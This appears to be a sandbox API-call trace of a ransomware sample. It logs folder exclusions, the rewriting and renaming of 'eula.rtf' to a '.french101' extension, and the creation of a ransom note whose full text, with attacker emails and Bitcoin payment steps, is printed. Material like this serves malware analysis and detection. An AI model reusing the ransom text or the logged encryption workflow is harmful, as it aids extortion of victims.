0x2 [0270.360] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0270.360] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.360] GetLastError () returned 0x2 [0270.361] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\m\x10") returned 7 [0270.361] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.361] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.361] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.361] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.361] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.361] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.361] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.361] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.361] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0270.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0270.361] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.361] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0270.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0270.362] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.362] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0270.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0270.362] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.362] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0270.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f399a8, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0270.362] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.362] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.362] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.362] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.362] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.362] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.362] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.362] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.362] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.362] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0270.363] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0270.364] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.364] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0270.364] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0270.364] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0270.364] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0270.364] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0270.364] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0270.364] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0270.364] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.364] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.364] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.364] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.365] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.365] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.365] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.365] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.365] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.365] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0270.365] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.365] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.365] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0270.365] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.365] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.365] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.365] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.365] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.365] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.365] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.365] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.366] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.366] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.366] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.366] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0270.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0270.366] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\я" (normalized: "c:\\588bce7c90097ed212\\1028\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.371] WriteFile (in: hFile=0x394, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0270.372] CloseHandle (hObject=0x394) returned 1 [0270.372] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\я" (normalized: "c:\\588bce7c90097ed212\\1028\\я")) returned 1 [0270.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0270.374] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0270.374] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0270.374] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0270.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x20) returned 1 [0270.374] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.375] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.375] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x18a5 [0270.375] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.375] SetFilePointer (in: hFile=0x394, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x18a5 [0270.375] WriteFile (in: hFile=0x394, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0270.480] CloseHandle (hObject=0x394) returned 1 [0270.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.542] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.542] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x18a6 [0270.542] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.542] SetFilePointer (in: hFile=0x394, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0270.542] SetEndOfFile (hFile=0x394) returned 1 [0270.544] CloseHandle (hObject=0x394) returned 1 [0270.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.545] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.545] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0270.545] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.545] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.545] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.546] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0270.546] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.546] ReadFile (in: hFile=0x394, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.547] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.547] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0270.547] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.547] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.547] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0270.547] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.547] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.547] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.547] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.547] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.547] WriteFile (in: hFile=0x394, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.547] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0270.547] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0270.548] SetFilePointer (in: hFile=0x394, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0270.548] SetFilePointer (in: hFile=0x394, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x18a5 [0270.548] WriteFile (in: hFile=0x394, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0270.562] WriteFile (in: hFile=0x394, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0270.562] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.562] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.562] CloseHandle (hObject=0x394) returned 1 [0270.563] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\N0wcIUl71B6RrUSPtf=fwQ.french101" (normalized: "c:\\588bce7c90097ed212\\1028\\n0wciul71b6rrusptf=fwq.french101")) returned 1 [0270.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\N0wcIUl71B6RrUSPtf=fwQ.french101" (normalized: "c:\\588bce7c90097ed212\\1028\\n0wciul71b6rrusptf=fwq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.564] SetFileTime (hFile=0x394, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0270.564] CloseHandle (hObject=0x394) returned 1 [0270.564] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\N0wcIUl71B6RrUSPtf=fwQ.french101", dwFileAttributes=0x80) returned 1 [0270.564] CloseHandle (hObject=0x394) returned 0 [0270.565] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.565] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.565] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.565] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.565] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.565] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.565] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.565] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.565] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.565] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0270.565] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0270.565] GetLastError () returned 0x2 [0270.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1028\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0270.566] WriteFile (in: hFile=0x394, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) 